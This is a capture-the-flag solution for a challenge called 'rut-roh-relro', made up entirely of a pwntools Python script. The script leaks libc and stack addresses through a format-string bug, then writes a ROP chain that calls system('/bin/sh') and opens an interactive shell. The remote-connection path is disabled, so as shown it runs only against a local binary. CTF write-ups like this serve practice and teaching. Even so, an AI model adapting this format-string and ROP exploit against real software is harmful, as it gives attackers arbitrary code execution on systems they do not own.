# rut-roh-relro

### Solution

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./rut_roh_relro_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    if args.REMOTE:
        log.failure("To bad the event is over")
        quit()
    else:
        r = process([exe.path])

    return r


def ret_leaks(r):
    payload = b'%71$p|%72$p<-'
    r.recvuntil(b'?')
    r.sendline(payload)
    r.recvuntil(b'post:\n')
    leaks = r.recv(29).split(b'|')
    print(leaks)
    return leaks


get_libc    = lambda leaks : int(leaks[0],16) - 0x2718a
get_stack   = lambda leaks : int(leaks[1],16) - 0x300

def write_rop(stack):
    rdi_ret = libc.address + 0x90dac
    ret     = libc.address + 0xede3f 
    binsh   = libc.address + 0x196031
    system  = libc.address + 0x4c330

    write = {
            stack + 8* 65 : rdi_ret,
            stack + 8* 66 : binsh,
            stack + 8* 67 : ret,
            stack + 8* 68 : system
            }

    payload = fmtstr_payload(6, write, write_size="byte")
    return payload


def main():
    r = conn()
    leaks = ret_leaks(r)

    libc_base = get_libc(leaks)
    log.success(f"libc base: {hex(libc_base)}")
    libc.address = libc_base

    stack = get_stack(leaks)
    log.success(f"stack:     {hex(stack)}")

    payload = write_rop(stack)
    r.recvuntil(b'?')
    r.sendline(payload)
    r.recvuntil(b'Bye!\n')
    r.interactive()


if __name__ == "__main__":
    main()
```


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